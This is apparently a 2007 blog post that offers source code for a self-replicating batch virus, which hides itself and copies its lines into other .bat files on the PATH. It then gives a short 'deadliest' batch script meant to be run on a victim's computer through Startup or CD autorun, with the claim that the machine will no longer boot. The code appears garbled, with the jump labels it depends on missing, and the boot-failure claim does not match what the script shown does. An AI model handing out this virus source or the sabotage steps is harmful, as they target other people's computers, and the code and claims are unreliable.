Thursday, November 8, 2007

The Code for A simple virus

The Code for A simple virus
Here is the Code for a simple Batch virus.U can Copy it and paste it in a text file and then scan it with an antivirus.The antivirus will show U a virus in a text file.If U wan't to use it,save it with a batch extension.Its a sample Virus for Educational purposes.One may alter it,Modify it or distribute it (Obviously in non Infectable form) for the sake of Computer Education and Curiousity.

It will affect *.com and *.EXE files .It will multiply itself and may get more dangerous when altered.

Here is the code -


@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)

attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=

if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
goto ViRuS_findself

for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS

find "ViRuS" <%ViRuSname%.bat >xViRuSx.bat
find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

echo on>nul.ViRuS
echo This is the dummy Virus


The Simple Deadliest Code
open notepad type the code as following -

echo off
attrib -r -s -h
echo on
print U r a LOSER RD is a Winner

save this file as virus.bat or any other name with bat extension
Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and set it in the autorun.


with this activated once the computer will run perfectly !
once shutdowned then it will not start and U will have to format it (Except U know how to use DOS).

Enjoy !!